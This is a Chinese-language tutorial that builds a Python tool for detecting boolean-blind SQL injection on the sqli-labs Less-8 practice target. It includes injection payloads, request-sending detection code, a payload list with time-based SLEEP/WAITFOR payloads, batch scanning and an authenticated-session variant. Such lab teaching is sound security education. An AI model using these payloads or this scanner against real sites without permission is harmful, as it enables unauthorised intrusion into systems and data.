从零构建SQL注入检测工具:Python实战sqli-labs第8关

第一次接触网络安全时,我被各种术语弄得晕头转向——POC、EXP、Payload,这些缩写背后到底藏着什么秘密?直到亲手用Python写了一个检测SQL注入的小工具,才真正理解"概念验证"的含义。今天,我们就以经典的sqli-labs第8关为例,用requests库打造一个会"思考"的漏洞探测器。

1. 环境准备与基础知识

在开始编码前,我们需要搭建好实验环境。sqli-labs是一个专为学习SQL注入设计的靶场,第8关演示了基于布尔盲注的漏洞场景。不同于有直接错误回显的注入点,这一关只会通过页面内容的有无来暗示查询结果的真假。

必备工具清单

  • Python 3.6+ 环境
  • requests库( pip install requests
  • 本地部署的sqli-labs靶场
  • 任意代码编辑器(VS Code/PyCharm等)

布尔盲注的原理就像玩猜数字游戏:当我们提交 id=1' and 1=1 --+ 时,如果页面正常返回,说明 and 后的条件成立;反之,若返回空页面,则条件为假。这种"是或否"的二元反馈,正是我们编写检测工具的基础。

提示:测试前请确认靶场URL,本文示例使用 http://localhost/sqli-labs/Less-8/

2. 手工测试到代码转化

先用手工方式观察漏洞特征。在浏览器地址栏尝试以下payload:

http://localhost/sqli-labs/Less-8/?id=1' --+    # 正常回显
http://localhost/sqli-labs/Less-8/?id=1' and 1=1 --+  # 正常回显
http://localhost/sqli-labs/Less-8/?id=1' and 1=2 --+  # 空回显

这个过程中,我们实际上完成了三个关键动作:

  1. 构造含特殊字符的请求参数
  2. 发送HTTP请求到目标URL
  3. 根据响应内容判断漏洞存在性

用Python的requests库实现这个过程:

import requests

target_url = "http://localhost/sqli-labs/Less-8/"

def check_vuln(url):
    payloads = [
        "?id=1' --+",
        "?id=1' and 1=1 --+", 
        "?id=1' and 1=2 --+"
    ]
    
    responses = []
    for payload in payloads:
        response = requests.get(url + payload)
        responses.append(len(response.text))
    
    if responses[0] == responses[1] and responses[2] == 0:
        return True
    return False

if check_vuln(target_url):
    print("[+] 漏洞存在!")
else:
    print("[-] 未检测到漏洞")

3. 构建智能检测逻辑

上面的代码虽然能检测漏洞,但缺乏健壮性。我们需要考虑更多实际场景:

异常处理增强

  • 网络请求超时
  • 目标服务不可达
  • 非法URL格式

检测逻辑优化

  • 自动获取正常响应基准
  • 动态计算内容长度阈值
  • 支持POST请求检测

改进后的检测函数:

def advanced_check(url, method='GET', param='id'):
    try:
        # 获取基准响应
        normal_resp = requests.get(url) if method == 'GET' else requests.post(url)
        baseline = len(normal_resp.text)
        
        # 测试payload
        test_cases = [
            (f"{param}=1' and 1=1 --+", baseline),  # 应为真
            (f"{param}=1' and 1=2 --+", 0)         # 应为假
        ]
        
        for payload, expected in test_cases:
            if method == 'GET':
                resp = requests.get(f"{url}?{payload}", timeout=5)
            else:
                resp = requests.post(url, data={param: payload}, timeout=5)
                
            if len(resp.text) != expected:
                return False
                
        return True
        
    except Exception as e:
        print(f"[!] 检测出错: {str(e)}")
        return False

4. 功能扩展与实战技巧

一个完整的POC工具还应该包含以下实用功能:

结果可视化

from colorama import Fore

def print_result(is_vuln):
    if is_vuln:
        print(Fore.RED + "[CRITICAL] SQL注入漏洞存在!")
    else:
        print(Fore.GREEN + "[SAFE] 未检测到SQL注入")

批量检测支持

def batch_check(url_list):
    results = {}
    for url in url_list:
        results[url] = advanced_check(url)
    return results

常用Payload库

SQLI_PAYLOADS = {
    'boolean_blind': [
        "' and 1=1 --",
        "' and 1=2 --",
        "' or 1=1 --"
    ],
    'time_based': [
        "'; WAITFOR DELAY '0:0:5' --",
        "' OR (SELECT * FROM (SELECT(SLEEP(5)))a) --"
    ]
}

在实际项目中,我习惯将这类检测工具封装成命令行程序,配合argparse模块实现参数化调用。例如:

python sql_detector.py -u http://example.com/news.php?id=1 -m GET -p id

遇到过一个电商网站案例,其搜索功能存在注入点但仅对特定用户组开放。这时就需要在POC中添加会话维持功能:

session = requests.Session()
session.post(login_url, data=credentials)
response = session.get(target_url_with_payload)

安全工具开发中最容易忽视的是异常处理。有次在客户现场演示时,因为没处理SSL证书验证,导致工具在HTTPS站点上直接崩溃。现在我会在所有requests调用中添加 verify=False 参数(生产环境应妥善处理证书验证)。